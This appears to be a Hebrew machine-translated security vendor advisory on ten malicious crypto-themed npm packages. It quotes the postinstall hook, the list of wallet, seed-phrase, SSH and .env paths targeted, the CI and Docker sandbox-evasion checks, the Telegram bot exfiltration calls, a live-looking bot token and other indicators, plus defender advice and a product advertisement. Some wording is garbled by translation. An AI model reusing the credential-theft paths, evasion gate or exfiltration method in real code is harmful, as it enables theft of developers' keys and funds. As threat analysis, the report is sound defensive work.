SeedSweep: עשר חבילות קריפטו זדוניות של npm

SeedSweep: עשר חבילות npm בנושא קריפטו שפועלות רק כשאף אחד לא צופה

TL; DR

ב-9 ביוני 2026, חשבון מפרסם יחיד של npm, aicrypto-xzggg, נשלח עשר חבילות עם שמות בטעם קריפטו ו-Web3 - farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, ועוד שישה.

כל חבילה מפעילה את אותו מטען מ-a postinstall hook. בהתקנה, הוא בודק אם הוא פועל בתוך CI או בארגז חול - אם לא, הוא קורא מאגרי מפתחות של ארנק, קבצי seed-phrase, מפתחות SSH ו- .env קבצים משש מערכות אקולוגיות של בלוקצ'יין ומשדר אותם לבוט של טלגרם.

האינדיקטור היחיד שמגן יכול לחפש באופן מיידי הוא מזהה הבוט של טלגרם. 8227918239.

חומרה: קריטי — גניבה ישירה של מפתחות חתימה וביטויי שחזור מ תחנות עבודה למפתחים.

ההתקפה: איך זה עובד

החבילות מפרסמות את עצמן ככלי עזר למפתחי בלוקצ'יין. package.json הוא מינימלי ומצביע על מחזור חיי ההתקנה לסקריפט:

{   "name": "farming-tools-12",   "main": "src/index.js",   "scripts": { "postinstall": "node scripts/postinstall.js" },   "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"],   "author": "Alex Smith",   "license": "MIT" }

scripts/postinstall.js הוא פחית בעלת שורה אחת שטוענת את המטען האמיתי: דורש("../src/index.js"). כי לאחר ההתקנה פועל באופן אוטומטי במהלך התקנת npm, אין צורך בייבוא ​​קוד על ידי המפתח - מספיקה הצבת החבילה בעץ תלויות כדי להריץ אותה.

שרשרת ההרג בפנים src / index.js הוא ארבעה שלבים:

  1. בדיקת סביבה. פונקציית guard מחליטה אם המארח נראה כמו סוכן בנייה או ארגז חול לניתוח.
  2. לְעַכֵּב. הביצוע נדחה מאחורי setTimeout של בערך 7.4 שניות.
  3. אוסף. רשימה קבועה של נתיבי קבצים של ארנק, מפתח וקבצים סודיים עוברת; קבצים קיימים מוכנסים לתור.
  4. סינון. קבצים בתור נשלחים לבוט של טלגרם, לפניהם מופיעה הודעת סיכום.

רשימת יעדי האוסף משתרעת על פני שש שרשראות בתוספת סודות מפתחים גנריים. גזור:

~/.config/solana/id.json        ~/.ethereum/keystore ~/.solana/keypair.json          ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore         ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt                ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json  ./keystore.json  ./mnemonic.txt  ./seed.txt ./seedphrase.txt  ./recovery.txt  ./private.key  ./.env  ./.env.local

עשרים ואחד נתיבים בסך הכל. רשומות ספרייה כגון ~/.ethereum/מפתחות מורחבים וכל קובץ שבתוכם נמצא בתור. הסינון משתמש ישירות בממשק ה-API של בוט הטלגרם - א שלח הודעה שיחה עם סיכום מארח וקובץ, ואז א שלח מסמך העלאה מרובת חלקים עבור כל קובץ:

טֶקסט

POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument   (one per file)

הודעת הסיכום שהקוד מרכיב מתחילה במחרוזת הליטרלית גנב קריפטו, ואחריו שם המארח, שם המשתמש, שם החבילה המקורית, ספירת הקבצים וחותמת הזמן.

מה חדש כאן

המבדיל אינו מנגנון הגניבה - exfil מבוסס טלגרם מ-npm לאחר ההתקנה hooks הוא רמוס היטב. זהו ה- שער הוצאה להורג. לפני ביצוע פעולה כלשהי, המטען קורא לפונקציה שמחזירה true כאשר המארח דומה לרץ CI או ארגז חול, ומחזירה מוקדם כאשר היא כן:

טֶקסט

isTestEnvironment() is true when ANY of:   - env CI == "true"  OR  GITHUB_ACTIONS == "true"  OR  JENKINS_HOME set   - env NODE_ENV in {test, development}   - username/USER contains: runner, sandbox, test, docker,     jenkins, gitlab, travis, circleci   - hostname contains: sandbox, test, ci   - hostname matches /^[a-f0-9]{12}$/   (a container-id shape)

ה-regex הרגולרי של container-id הוא הסעיף הבולט: שם מארח בן 12 תווים הקסדצימליים הוא הצורה המוגדרת כברירת מחדל ש-Docker מקצה ל- מכולה, כך שהמטען מתייחס ל"שם המארח שלי נראה כמו מכולה של Docker" כסיבה להישאר רדום. בשילוב עם העיכוב של שבע שניות, העיצוב מעדיף הפעלה על תחנת עבודה אמיתית של המפתח ושמירה על שקט בכל מקום שנראה כמו ניתוח אוטומטי. שער זה הוא שדיכא את אותות הניתוח הדינמי ושמר על זרימת ה-exfil הסטטית כראיה העיקרית להרשעה.

ציר זמן

תאריך (UTC) אירוע
2026-06-09 ~02:48 החבילות הראשונות באשכול סומנו בעת הפרסום (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0)
2026-06-09 ~03:21–03:25 חברים בגרסה גבוהה יותר סומנו בדגל (ethereum-kit-9 בשעה 1.25.36, wallet-sdk-9 בשעה 3.7.73)
2026-06-09 ~03:58–03:59 חברים סופיים סומנו (defi-tools-39 בשעה 4.26.29, swap-sdk-87 בשעה 4.63.78, farming-tools-12 בשעה 4.68.54)
2026-06-09 כל עשרת הסווגו כזדוניים ודווחו להסרת הרישום

כל העשרה צצו תוך כשבעים דקות, בהתאם לפרסום תסריטאי יחיד שרץ מחשבון אחד.

אינדיקטורים לפשרה

אינדיקטורים התנהגותיים ורשתיים (מארח עם חסימות):

אינדיקטור ערך
נקודת קצה של Exfil api[.]telegram[.]org (ממשק API של בוט טלגרם)
מזהה בוט בטלגרם 8227918239
אסימון בוט 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs
מזהה צ'אט בטלגרם 6433587894
התקנת וו postinstallscripts/postinstall.jssrc/index.js
מחרוזת סמן CRYPTO STEALER בהודעת הסיכום המורכבת
מוֹצִיא לָאוֹר aicrypto-xzggg (האימייל המצוין vipsyria88@gmail[.]com, לא מאומת)

חבילות וגרסאות, כל אחת עם ה-SHA-256 שלה src / index.js payload (המטעני ה-payload זהים מבחינה פונקציונלית ונבדלים רק בתווית שם החבילה המוטמעת, כך שכל hash הוא שונה):

html
חֲבִילָה גִרְסָה SHA-256 של src/index.js
farming-tools-12 4.68.54 b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4
swap-sdk-87 4.63.78 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c
defi-tools-39 4.26.29 ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee
wallet-sdk-9 3.7.73 ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502
ethereum-kit-9 1.25.36 c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f
ethereum-kit-1 1.0.0 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381
solana-core-4 1.0.0 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d
web3-tools-9 1.0.0 db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d
crypto-utils-7 1.0.0 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92
blockchain-helper-0 1.0.0 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db

שאילתת חיפוש פשוטה: חפש יומני התקנה וקובצי נעילה עבור כל אחד מעשרת השמות, וחפש תעבורה יוצאת עבור חיבורים לממשק ה-API של בוט הטלגרם ממארחי בנייה או מפתחים שאינם משתמשים בו בדרך כלל.

ייחוס והתנהגות נצפית

כל עשר החבילות פורסמו על ידי חשבון אחד, aicrypto-xzggg, שכתובת הדוא"ל שלו היא vipsyria88@gmail[.]comגם כתובת הדוא"ל וגם קישור בקרת המקור לא מאומתים במטא-נתונים של הרישום, ולחשבון יש ציון מוניטין שלילי מאוד. לא אישרנו מי מפעיל את החשבון.

שני פרטים ראויים להפרדה מכל טענה לזהות. ראשית, ה package.json מחבר קריאות שדה אלכס סמית ' על כל חבילה, בעוד שחשבון ההוצאה בפועל הוא aicrypto-xzgggשדה המחבר הוא מטא-נתונים המוצהרים על ידי עצמו ואינו קובע את זכויות המחבר. שנית, מספרי הגרסאות משתנים מאוד - חלק מהחברים יושבים ב 1.0.0, אחרים ב 4.68.54 — דבר התואם את השימוש החוזר במטען יחיד על פני שמות חבילות טריים במקום לשמור על היסטוריית שחרור אמיתית.

ההתנהגות אחידה בכל האשכול: אותה רשימת נתיבי יעד, אותו מזהה בוט ומזהה צ'אט בטלגרם, אותו שער סביבה, אותו הדבר גנב קריפטו סמן. אחידות זו היא החוליה החזקה ביותר בין החבילות. זהו אות של אותו מפעיל, לא זהות.

השפעה, מגמות והנחיות למגינים

החשיפה היא קונקרטית. מפתח שמתקין אחת מהחבילות הללו על תחנת עבודה המכילה ארנק תוכנה, קובץ זרעים או מפתח SSH, קבצים אלה נקראים ומשודרים מהמארח תוך שניות. משפטי שחזור ומפתחות חתימה אינם פגים כמו אסימון הפעלה; ברגע ש... mnemonic.txt או סולאנה id.json עוזב את המכונה, הכספים שבשליטתה נמצאים בסיכון עד שיוזזו. אותה ריצה לוכדת גם .v קבצים, אשר נושאים באופן שגרתי מפתחות API ופרטי מסד נתונים.

שתי מגמות עומדות מאחורי אשכול זה. הראשונה היא המשך השימוש בשמות בנושא קריפטו ו-Web3 כדי לחזר אחרי קהל ספציפי - מפתחים ששומרים ארנקים ומפתחות באותה מכונה עליה הם מתקינים תלויות. השנייה היא התבגרות של התחמקות מארגז חול (sandbox) במטענים בזמן ההתקנה. שער שבודק משתני סביבה של CI, שמות משתמש של רצים וצורת שם מארח של מזהה מכולה של Docker הוא מאמץ מכוון להתנהג בצורה שונה תחת ניתוח מאשר בתחנת עבודה אמיתית, והוא מעלה את הרף לזיהוי דינמי גרידא.

עבור המגנים:

התקנה כאשר סקריפטים מושבתים כברירת מחדל. התקנת npm –ignore-scripts, או קבע התעלם-סקריפטים=אמת in .npmrc, מונע לאחר ההתקנה ביצוע; הפעל סקריפטים רק עבור התלויות הספציפיות שבאמת זקוקות להם.

הרחיקו ארנקים ומפתחות חתימה ממכונות בנייה ופיתוח. השתמשו בארנק חומרה או במארח חתימה ייעודי ונטול תלות.

לטפל .v, מאגרי מפתחות וקבצי ביטויי זרע כתכשיטי כתר. אסור שהם יישבו בספרייה שהיא גם התקנת npm עץ עובד.

חפש חיבורים יוצאים לממשק ה-API של בוט הטלגרם מ-CI וממארחי מפתחים. רוב סביבות הבנייה לעולם לא קוראות לזה; כזו שקוראת לזה פתאום, מיד לאחר ההתקנה, שווה בדיקה.

הצמדה וסקירת תלויות. חבילה חדשה לגמרי עם שם קריפטו גנרי, א לאחר ההתקנה hook, ושום קישור למאגר לא מצדיק בדיקה לפני שהוא נכנס לקובץ נעילה.

סעיף ההתחמקות ממזהה המכולה הוא גם תזכורת לאנליסטים: מטען בזמן ההתקנה שנשאר רדום בארגז חול אינו שפיר, הוא סלקטיבי. סקירה סטטית של נתיב ההתקנה נותרה הדרך האמינה לראות מה ביצוע דינמי עשוי לסרב להראות.

הפניות

תיעוד התקנת npm - סקריפטים של מחזור חיים ו –להתעלם מתסריטים— מדריך להשבתת התקנה אוטומטית hooks. 

כלי SCA לניתוח קומפוזיציה - תוכנה
תעדוף, תיקון ואבטחת סיכוני התוכנה שלך
קבל את החשבון החינמי שלך.
אין צורך בכרטיס אשראי.

אבטחו את פיתוח ואספקת התוכנה שלכם

עם חבילת המוצרים Xygeni